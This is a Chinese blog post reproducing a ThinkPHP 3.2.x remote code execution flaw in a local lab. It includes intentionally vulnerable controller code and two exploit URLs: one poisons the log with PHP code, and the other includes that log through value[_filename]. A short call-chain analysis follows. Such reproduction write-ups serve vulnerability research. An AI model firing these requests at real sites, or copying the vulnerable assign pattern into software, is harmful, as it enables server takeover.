ThinkPHP3.2.x RCE漏洞复现
简介
ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
环境
windows 10
phpstudy 5.6
Thinkphp 3.2.3完整版
复现过程
demo:
demo代码说明:如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php,因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:Application\Home\View\Index (View没有Index文件夹需要自己创建)
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
利用步骤:
1. 创建log
2. 包含log
创建log发送请求 注意,m=后面的code不要url编码,否则包含的时候会失败)
http://127.0.0.1/index.php?m=--><?=phpinfo();?>
包含log
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_12.log
Debug开启和关闭的路径不同:
开启: Application\Runtime\Logs\Common\<log>
关闭: Application\Runtime\Logs\Home\<log>
漏洞点分析
1.assign函数返回模板变量
2.到display函数开始解析
3.到达View.Class.php发现把payload传入到Hook::Listen函数
4.进入循环在将payload传入self::exec函数
5.调用Behavior\ParseTemplateBehavior类 (将log文件写入缓存php)
6.调用fetch函数
最后load函数加载
(不会描述,原文章描述的很好)
参考链接
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ
https://blog.csdn.net/cvper/article/details/66713909
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:ThinkPHP3.2.x RCE漏洞复现
本文作者:九世
发布时间:2021-07-12, 17:32:20
最后更新:2021-07-12, 17:46:31
原始链接:http://jiushill.github.io/posts/94587123.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。